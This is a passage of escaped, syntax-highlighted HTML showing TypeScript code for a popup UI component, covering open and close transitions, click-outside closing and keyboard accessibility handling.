class=\"nx\"\u003eautoUpdateCleanup\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eautoUpdate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003erender\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Focus the first focusable element within the popup\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003efocusablePopupElements\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003eArray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"kr\"\u003efrom\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003equerySelectorAll\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003efocusableAllowedList\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ecallback\u003c/span\u003e\u003cspan class=\"o\"\u003e?:\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Set transition duration\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ecssTransitionDuration\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003eparseFloat\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetComputedStyle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"nx\"\u003etransitionDuration\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ereplace\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;s\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"mi\"\u003e1000\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Set open state to off\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopen\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Return the current state\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e \u003cspan class=\"nx\"\u003estate\u003c/span\u003e: \u003cspan class=\"kt\"\u003epopupState.open\u003c/span\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Update the DOM\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopacity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003escale\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;0.95\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003esetTimeout\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edisplay\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;none\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e \u003cspan class=\"nx\"\u003ecssTransitionDuration\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epointerEvents\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;none\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Cleanup Floating UI autoUpdate (close only)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eautoUpdateCleanup\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eautoUpdateCleanup\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Trigger callback\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ecallback\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"nx\"\u003ecallback\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Event Handlers\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003etoggle\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopen\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"nx\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003eonWindowClick\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e: \u003cspan class=\"kt\"\u003eEvent\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Return if the popup is not yet open\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopen\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Return if click is the trigger element\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003econtains\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e \u003cspan class=\"kr\"\u003eas\u003c/span\u003e \u003cspan class=\"nx\"\u003eNode\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// If click it outside the popup\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003econtains\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e \u003cspan class=\"kr\"\u003eas\u003c/span\u003e \u003cspan class=\"nx\"\u003eNode\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Handle Close Query State\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ecloseQueryString\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecloseQuery\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"kc\"\u003eundefined\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;a[href], button\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecloseQuery\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003eclosableMenuElements\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003equerySelectorAll\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ecloseQueryString\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eclosableMenuElements\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eforEach\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"nx\"\u003eelem\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eelem\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003econtains\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e \u003cspan class=\"kr\"\u003eas\u003c/span\u003e \u003cspan class=\"nx\"\u003eNode\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Keyboard Interactions for A11y\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003eonWindowKeyDown\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e: \u003cspan class=\"kt\"\u003eKeyboardEvent\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopen\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Handle keys\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ekey\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ekey\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// On Esc key\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ekey\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Escape\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epreventDefault\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003efocus\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// On Tab or ArrowDown key\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003etriggerMenuFocused\u003c/span\u003e: \u003cspan class=\"kt\"\u003eboolean\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopen\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nb\"\u003edocument\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eactiveElement\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerMenuFocused\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ekey\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;ArrowDown\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"nx\"\u003ekey\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Tab\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003efocusableAllowedList\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elength\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003efocusablePopupElements\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elength\u003c/span\u003e \u003cspan 